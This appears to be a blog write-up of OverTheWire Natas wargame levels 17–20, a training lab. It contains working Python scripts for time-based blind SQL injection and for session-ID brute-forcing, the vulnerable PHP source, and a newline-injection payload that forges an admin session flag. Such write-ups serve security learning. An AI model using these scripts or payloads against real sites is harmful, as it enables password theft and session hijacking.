The below python script was the script I used to perform a time-based brute-force SQL injection to complete this challenge.

#!/usr/bin/python
import httplib2
import urllib
import time
 
h = httplib2.Http()
h.add_credentials('natas17', '********************************')
 
baseStr = ""
char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
index = 0

while index < len(char):
	query = urllib.urlencode(dict(username="natas18\" AND if(password LIKE BINARY \"" + baseStr + char[index] + "%\", sleep(2), 0);# "))

	StartTime = int(time.time())
	resp, content = h.request("http://natas17.natas.labs.overthewire.org/index.php?" + query, method="POST")
	EndTime = int(time.time())
	lapse = EndTime - StartTime
	
	if lapse >= 2:
		baseStr += char[index];
		print("New Password: " + baseStr)
		index = 0
		continue
	index += 1

Level 18

Logging into this level, you are greeted with a login form and the following instructions for this level. The PHP code for this level is below the instruction.

Please login with your admin account to retrieve credentials for natas19. 
<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?> 

So to complete this level, we need to supply the login credentials for an admin account. As looking through the PHP code about, it is clear that this is not a SQL injection challenge. But instead a vulnerable PHP code challenge, where the functions and processes used to login and assign a value to the PHPSESSID variable. If the session ID is marked as the admin session ID, the password for the next level is printed to the screen.

A cookie is created with a field called “PHPSESSID” and the value assigned to this field is a random number chosen between 1 – 640. But we can’t login and then manually set the value of the PHPSESSID because the session will be marked as old. Which is good because this could take a long time.

But what we can do is perform a brute-force attack method, where we create a HTTP request with a cookie already with the value set for PHPSESSIN field. And because this method would not involve the same session having the value modified and then resent, the session would not be marked old.

NOTE: I had a problem with my proof of concept code. Using the imports urllib and httplib2 in python, when I had made my crafted HTTP request and it was sent successfully, the content information retrieved from the request only contained the information for the initial connection. However, when the request was put inside a FOR loop, the content then contained information from a login attempt.

#!/usr/bin/python
import httplib2
import urllib

h = httplib2.Http()
h.add_credentials("natas18", "********************************")

for id in range(1):
	query = urllib.urlencode({'debug': '1', 'username': 'user'})
	resp, content = h.request("http://natas18.natas.labs.overthewire.org/index.php?" + query, method="POST", headers={'Cookie':'PHPSESSID=' + str(id)})
	if "You are an admin" in str(content):
		print(str(content))
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "********************************" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: ********************************</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Level 19

This page uses mostly the same code as the previous level, but session IDs are no longer sequential...

Please login with your admin account to retrieve credentials for natas20. 

Logging into this level, you are greeted with a login form and the above instructions for this level. The PHP code for this level is below the instruction. Obviously the fact that “session IDs are no longer sequential” is stated, is a very big hint. So I decided to pretend I didn’t complete the previous challenge and that I would be starting with a blank slate.

So I attempted to login with the username of “user”, and then looked at the cookie. There was a cookie for this level with a field called “PHPSESSID” and a value of “36362d75736572”. Well this is strange, it’s not a base64 encoded string but instead a hexadecimal encoded string. I went about decoding the string which resulted in “66-user”. So I now know the format for the cookie, its the random number along with the ascii string “-[username]” where username is the username entered.

So the python brute-forcing code used in the previous level, can be used in this challenge except for the following modifications to the cookie process.

#!/usr/bin/python
import httplib2
import urllib

h = httplib2.Http()
h.add_credentials("natas19", "********************************")

for id in range(641):
	query = urllib.urlencode({'debug': '1', 'username': 'user'})
	resp, content = h.request("http://natas19.natas.labs.overthewire.org/index.php?" + query, method="POST", headers={'Cookie':'PHPSESSID='+(str(id)+'-user').encode('hex')})
	if "You are an admin" in str(content):
		print(str(content))
		break
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "********************************" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: ********************************</pre></div>
</body>
</html>

NOTE: I found with this level, the username entered did actually matter. I found with the username “admin” instead of “user” I was able to complete this challenge.

Level 20

You are logged in as a regular user. Login as an admin to retrieve credentials for natas21. 
<?

function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}
/* }}} */

/* we don't need this */
function myopen($path, $name) { 
    //debug("MYOPEN $path $name"); 
    return true; 
}

/* we don't need this */
function myclose() { 
    //debug("MYCLOSE"); 
    return true; 
}

function myread($sid) { 
    debug("MYREAD $sid"); 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid"); 
    return true; 
}
/* we don't need this */
function mygarbage($t) { 
    //debug("MYGARBAGE $t"); 
    return true; 
}

session_set_save_handler(
    "myopen", 
    "myclose", 
    "myread", 
    "mywrite", 
    "mydestroy", 
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}

?>

<form action="index.php" method="POST">
Your name: <input name="name" value="<?=$name?>"><br>
<input type="submit" value="Change name" />
</form> 

This entire PHP code above writes the username to the field and the admin field as well to a file, next the file is read and determines if the user is an admin or not by verifying whether or not the admin field is set to 1. Which means all we need to do is enter any username we want, then make a new line and set admin field to 1. We need to have the file looking like this below.

admin
admin 1

To get the we can use url encoding the linefeed character, “%0A”. The input would actually look the following.

admin%0Aadmin%201
debug&name=admin%0Aadmin%201

The above input with enter the name admin to the file and set the admin field to 1 (true).

Update Timeline

  • Level 0 to Level 15 – 20/10/2014
  • Level 16 – 04/02/2014
Advertisements

One comment

  1. Hey, thanks for the great write-up! Is there a reason you didn’t make use of whitespace in your code? Especially in the Python scripts where it’s essential?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s